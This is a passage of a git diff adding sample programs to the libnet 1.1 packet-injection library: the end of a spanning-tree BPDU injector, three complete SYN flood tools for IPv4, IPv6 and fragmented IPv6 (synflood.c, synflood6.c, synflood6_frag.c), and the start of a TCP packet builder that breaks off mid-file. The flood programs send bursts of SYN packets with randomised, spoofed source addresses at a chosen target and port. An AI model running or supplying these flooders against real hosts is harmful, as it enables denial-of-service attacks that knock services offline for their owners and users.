+ device = NULL;
+ src = dst = NULL;
+ type = CONF;
+ while ((c = getopt(argc, argv, "cd:i:s:t")) != EOF)
+ {
+ switch (c)
+ {
+ case 'c':
+ type = CONF;
+ break;
+ case 'd':
+ dst = libnet_hex_aton(optarg, &len);
+ break;
+ case 'i':
+ device = optarg;
+ break;
+ case 's':
+ src = libnet_hex_aton(optarg, &len);
+ break;
+ case 't':
+ type = TCN;
+ break;
+ default:
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (src == NULL || dst == NULL)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ if (type == CONF)
+ {
+ rootid[0] = 0x80;
+ rootid[1] = 0x00;
+ rootid[2] = 0x00;
+ rootid[3] = 0x07;
+ rootid[4] = 0xec;
+ rootid[5] = 0xae;
+ rootid[6] = 0x30;
+ rootid[7] = 0x41;
+
+ bridgeid[0] = 0x80;
+ bridgeid[1] = 0x00;
+ bridgeid[2] = 0x00;
+ bridgeid[3] = 0x07;
+ bridgeid[4] = 0xec;
+ bridgeid[5] = 0xae;
+ bridgeid[6] = 0x30;
+ bridgeid[7] = 0x41;
+
+ t = libnet_build_stp_conf(
+ 0x0000, /* protocol id */
+ 0x00, /* protocol version */
+ 0x00, /* BPDU type */
+ 0x00, /* BPDU flags */
+ rootid, /* root id */
+ 0x00000001, /* root path cost */
+ bridgeid, /* bridge id */
+ 0x8002, /* port id */
+ 0x00, /* message age */
+ 0x0014, /* max age */
+ 0x0002, /* hello time */
+ 0x000f, /* forward delay */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build STP conf header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+ }
+ else
+ {
+ t = libnet_build_stp_tcn(
+ 0x0000, /* protocol id */
+ 0x00, /* protocol version */
+ 0x80, /* BPDU type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build STP tcn header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+ }
+
+ t = libnet_build_802_2(
+ LIBNET_SAP_STP, /* DSAP */
+ LIBNET_SAP_STP, /* SSAP */
+ 0x03, /* control */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_802_3(
+ dst, /* ethernet destination */
+ src, /* ethernet source */
+ LIBNET_802_2_H + ((type == CONF) ? LIBNET_STP_CONF_H :
+ LIBNET_STP_TCN_H), /* frame size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte STP packet; check the wire.\n", c);
+ }
+ free(dst);
+ free(src);
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ free(dst);
+ free(src);
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage %s -d dst -s src -t -c [-i interface]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/synflood.c b/libnet/sample/synflood.c
new file mode 100644
index 0000000..e3fe8b5
--- /dev/null
+++ b/libnet/sample/synflood.c
@@ -0,0 +1,200 @@
+/*
+ * $Id: synflood.c,v 1.1.1.1 2003/06/26 21:55:11 route Exp $
+ *
+ * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com>
+ * SYN flooder rewritten for no good reason. Again as libnet test module.
+ * Again for libnet 1.1.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+struct t_pack
+{
+ struct libnet_ipv4_hdr ip;
+ struct libnet_tcp_hdr tcp;
+};
+
+
+int
+main(int argc, char **argv)
+{
+ u_long dst_ip = 0;
+ u_long src_ip = 0;
+ u_short dst_prt = 0;
+ u_short src_prt = 0;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *cp;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ int i, c, packet_amt, burst_int, burst_amt, build_ip;
+
+ packet_amt = 0;
+ burst_int = 0;
+ burst_amt = 1;
+
+ printf("libnet 1.1 syn flooding: TCP[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 't':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, 1)) == -1)
+ {
+ fprintf(stderr, "Bad IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'a':
+ packet_amt = atoi(optarg);
+ break;
+ case 'i':
+ burst_int = atoi(optarg);
+ break;
+ case 'b':
+ burst_amt = atoi(optarg);
+ break;
+ default:
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!dst_prt || !dst_ip || !packet_amt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ libnet_seed_prand(l);
+
+ for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;)
+ {
+ for (i = 0; i < packet_amt; i++)
+ {
+ t = libnet_build_tcp(
+ src_prt = libnet_get_prand(LIBNET_PRu16),
+ dst_prt,
+ libnet_get_prand(LIBNET_PRu32),
+ libnet_get_prand(LIBNET_PRu32),
+ TH_SYN,
+ libnet_get_prand(LIBNET_PRu16),
+ 0,
+ 0,
+ LIBNET_TCP_H,
+ NULL,
+ 0,
+ l,
+ t);
+
+ if (build_ip)
+ {
+ build_ip = 0;
+ libnet_build_ipv4(
+ LIBNET_TCP_H + LIBNET_IPV4_H,
+ 0,
+ libnet_get_prand(LIBNET_PRu16),
+ 0,
+ libnet_get_prand(LIBNET_PR8),
+ IPPROTO_TCP,
+ 0,
+ src_ip = libnet_get_prand(LIBNET_PRu32),
+ dst_ip,
+ NULL,
+ 0,
+ l,
+ 0);
+ }
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
+ }
+#if !(__WIN32__)
+ usleep(250);
+#else
+ Sleep(250);
+#endif
+
+ printf("%15s:%5d ------> %15s:%5d\n",
+ libnet_addr2name4(src_ip, 1),
+ ntohs(src_prt),
+ libnet_addr2name4(dst_ip, 1),
+ dst_prt);
+ }
+#if !(__WIN32__)
+ sleep(burst_int);
+#else
+ Sleep(burst_int * 1000);
+#endif
+ }
+ exit(EXIT_SUCCESS);
+}
+
+
+void
+usage(char *nomenclature)
+{
+ fprintf(stderr,
+ "\n\nusage: %s -t -a [-i -b]\n"
+ "\t-t target, (ip.address.port: 192.168.2.6.23)\n"
+ "\t-a number of packets to send per burst\n"
+ "\t-i packet burst sending interval (defaults to 0)\n"
+ "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
+}
+
+
+/* EOF */
diff --git a/libnet/sample/synflood6.c b/libnet/sample/synflood6.c
new file mode 100644
index 0000000..88ee43f
--- /dev/null
+++ b/libnet/sample/synflood6.c
@@ -0,0 +1,209 @@
+/*
+ * $Id: synflood6.c,v 1.2 2004/03/01 20:26:12 mike Exp $
+ *
+ * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com>
+ * SYN flooder rewritten for no good reason. Again as libnet test module.
+ * Again for libnet 1.1.
+ * All rights reserved.
+ *
+ * Modifications for ipv6 by Stefan Schlott <stefan@ploing.de>
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+struct t_pack
+{
+ struct libnet_ipv6_hdr ip;
+ struct libnet_tcp_hdr tcp;
+};
+
+
+int
+main(int argc, char **argv)
+{
+ struct libnet_in6_addr dst_ip;
+ struct libnet_in6_addr src_ip;
+ u_short dst_prt = 0;
+ u_short src_prt = 0;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *cp;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ int i, c, packet_amt, burst_int, burst_amt, build_ip;
+ char srcname[100],dstname[100];
+
+ packet_amt = 0;
+ burst_int = 0;
+ burst_amt = 1;
+
+ printf("libnet 1.1 syn flooding: TCP6[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW6, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
+ {
+ switch (c)
+ {
+ case 't':
+ if (!(cp = strrchr(optarg, '/')))
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ dst_ip = libnet_name2addr6(l, optarg, 1);
+ if (strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0)
+ {
+ fprintf(stderr, "Bad IP6 address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'a':
+ packet_amt = atoi(optarg);
+ break;
+ case 'i':
+ burst_int = atoi(optarg);
+ break;
+ case 'b':
+ burst_amt = atoi(optarg);
+ break;
+ default:
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE);
+ /*src_ip = libnet_name2addr6(l, "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE);
+ dst_prt = 113;
+ dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE);
+ packet_amt = 1;*/
+
+ if (!dst_prt || strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+
+
+ libnet_seed_prand(l);
+ libnet_addr2name6_r(src_ip,1,srcname,sizeof(srcname));
+ libnet_addr2name6_r(dst_ip,1,dstname,sizeof(dstname));
+
+ for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;)
+ {
+ for (i = 0; i < packet_amt; i++)
+ {
+ char payload[56];
+ int i;
+ for (i=0; i<56; i++) payload[i]='A'+((char)(i%26));
+ t = libnet_build_tcp(
+ src_prt = libnet_get_prand(LIBNET_PRu16),
+ dst_prt,
+ libnet_get_prand(LIBNET_PRu32),
+ libnet_get_prand(LIBNET_PRu32),
+ TH_SYN,
+ libnet_get_prand(LIBNET_PRu16),
+ 0,
+ 0,
+ LIBNET_TCP_H,
+ NULL,
+ 0,
+ l,
+ t);
+
+ if (build_ip)
+ {
+ build_ip = 0;
+ printf("Packet len = %ld\n",LIBNET_ICMPV6_H+sizeof(payload));
+ libnet_build_ipv6(0,0,
+ LIBNET_TCP_H,
+ IPPROTO_TCP,
+ 64,
+ src_ip,
+ dst_ip,
+ NULL,
+ 0,
+ l,
+ 0);
+ //libnet_autobuild_ipv6(LIBNET_TCP_H,IPPROTO_TCP,dst_ip,l);
+ }
+ printf("%15s/%5d -> %15s/%5d\n",
+ srcname,
+ ntohs(src_prt),
+ dstname,
+ dst_prt);
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
+ }
+#if !(__WIN32__)
+ usleep(250);
+#else
+ Sleep(250);
+#endif
+
+ }
+#if !(__WIN32__)
+ sleep(burst_int);
+#else
+ Sleep(burst_int * 1000);
+#endif
+ }
+ exit(EXIT_SUCCESS);
+}
+
+
+void
+usage(char *nomenclature)
+{
+ fprintf(stderr,
+ "\n\nusage: %s -t -a [-i -b]\n"
+ "\t-t target, (ip6:address/port, e.g. ::1/23)\n"
+ "\t-a number of packets to send per burst\n"
+ "\t-i packet burst sending interval (defaults to 0)\n"
+ "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
+}
+
+
+/* EOF */
diff --git a/libnet/sample/synflood6_frag.c b/libnet/sample/synflood6_frag.c
new file mode 100644
index 0000000..54e2aab
--- /dev/null
+++ b/libnet/sample/synflood6_frag.c
@@ -0,0 +1,234 @@
+/*
+ * $Id: synflood6_frag.c,v 1.1 2004/01/03 20:31:01 mike Exp $
+ *
+ * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com>
+ * SYN flooder rewritten for no good reason. Again as libnet test module.
+ * Again for libnet 1.1.
+ * All rights reserved.
+ *
+ * Modifications for ipv6 by Stefan Schlott <stefan@ploing.de>
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+struct t_pack
+{
+ struct libnet_ipv6_hdr ip;
+ struct libnet_tcp_hdr tcp;
+};
+
+
+int
+main(int argc, char **argv)
+{
+ struct libnet_in6_addr dst_ip;
+ struct libnet_in6_addr src_ip;
+ u_short dst_prt = 0;
+ u_short src_prt = 0;
+ libnet_t *l;
+ libnet_ptag_t tcp, ip, ip_frag;
+ u_char *cp;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ int i, j, c, packet_amt, burst_int, burst_amt;
+ char srcname[100], dstname[100];
+ u_int8_t payload[56];
+
+ packet_amt = 0;
+ burst_int = 0;
+ burst_amt = 1;
+ tcp = ip_frag = ip = LIBNET_PTAG_INITIALIZER;
+
+ printf("libnet 1.1 syn flooding: TCP IPv6 fragments [raw]\n");
+
+ l = libnet_init(
+ LIBNET_RAW6, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
+ {
+ switch (c)
+ {
+ case 't':
+ if (!(cp = strrchr(optarg, '/')))
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ dst_ip = libnet_name2addr6(l, optarg, 1);
+ if (strncmp((char*)&dst_ip,
+ (char*)&in6addr_error,sizeof(in6addr_error))==0)
+ {
+ fprintf(stderr, "Bad IPv6 address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'a':
+ packet_amt = atoi(optarg);
+ break;
+ case 'i':
+ burst_int = atoi(optarg);
+ break;
+ case 'b':
+ burst_amt = atoi(optarg);
+ break;
+ default:
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE);
+ /* src_ip = libnet_name2addr6(l,
+ "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE);
+ dst_prt = 113;
+ dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE);
+ packet_amt = 1;
+ */
+
+ if (!dst_prt || strncmp((char*)&dst_ip,
+ (char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ libnet_seed_prand(l);
+ libnet_addr2name6_r(src_ip, LIBNET_RESOLVE, srcname, sizeof(srcname));
+ libnet_addr2name6_r(dst_ip, LIBNET_RESOLVE, dstname, sizeof(dstname));
+
+ for(; burst_amt--;)
+ {
+ for (i = 0; i < packet_amt; i++)
+ {
+ for (j = 0; j < 56; j++) payload[j] = 'A' + ((char)(j % 26));
+
+ tcp = libnet_build_tcp(
+ src_prt = libnet_get_prand(LIBNET_PRu16),
+ dst_prt,
+ libnet_get_prand(LIBNET_PRu32),
+ libnet_get_prand(LIBNET_PRu32),
+ TH_SYN,
+ libnet_get_prand(LIBNET_PRu16),
+ 0,
+ 0,
+ LIBNET_TCP_H,
+ NULL,
+ 0,
+ l,
+ tcp);
+ if (tcp == -1)
+ {
+ fprintf(stderr, "Can't build or modify TCP header: %s\n",
+ libnet_geterror(l));
+ return (EXIT_FAILURE);
+ }
+
+ ip_frag = libnet_build_ipv6_frag(
+ IPPROTO_TCP, /* next header */
+ 0, /* reserved */
+ 0, /* frag bits */
+ 1, /* ip id */
+ NULL,
+ 0,
+ l,
+ ip_frag);
+ if (ip_frag == -1)
+ {
+ fprintf(stderr, "Can't build or modify TCP header: %s\n",
+ libnet_geterror(l));
+ return (EXIT_FAILURE);
+ }
+
+ ip = libnet_build_ipv6(
+ 0, 0,
+ LIBNET_TCP_H,
+ IPPROTO_TCP,
+ 64,
+ src_ip,
+ dst_ip,
+ NULL,
+ 0,
+ l,
+ ip);
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build or modify TCP header: %s\n",
+ libnet_geterror(l));
+ return (EXIT_FAILURE);
+ }
+
+ printf("%15s/%5d -> %15s/%5d\n",
+ srcname,
+ ntohs(src_prt),
+ dstname,
+ dst_prt);
+
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
+ }
+#if !(__WIN32__)
+ usleep(250);
+#else
+ Sleep(250);
+#endif
+
+ }
+#if !(__WIN32__)
+ sleep(burst_int);
+#else
+ Sleep(burst_int * 1000);
+#endif
+ }
+ exit(EXIT_SUCCESS);
+}
+
+
+void
+usage(char *nomenclature)
+{
+ fprintf(stderr,
+ "\n\nusage: %s -t -a [-i -b]\n"
+ "\t-t target, (ip6:address/port, e.g. ::1/23)\n"
+ "\t-a number of packets to send per burst\n"
+ "\t-i packet burst sending interval (defaults to 0)\n"
+ "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
+}
+
+
+/* EOF */
diff --git a/libnet/sample/tcp1.c b/libnet/sample/tcp1.c
new file mode 100644
index 0000000..4253cf6
--- /dev/null
+++ b/libnet/sample/tcp1.c
@@ -0,0 +1,227 @@
+/*
+ * $Id: tcp1.c,v 1.6 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet 1.1
+ * Build a TCP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "libnet_test.h"
+#ifdef __WIN32__
+#include "../include/win32/getopt.h"
+#endif
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: TCP + options[link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_tcp_options(
+ "\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000",
+ 20,
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP options: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 10, /* urgent pointer */
+ LIBNET_TCP_H + 20 + payload_s, /* TCP packet size */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + 20 + payload_s,/* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ethernet(
+ enet_dst, /* ethernet destination */
+ enet_src, /* ethernet source */
+ ETHERTYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
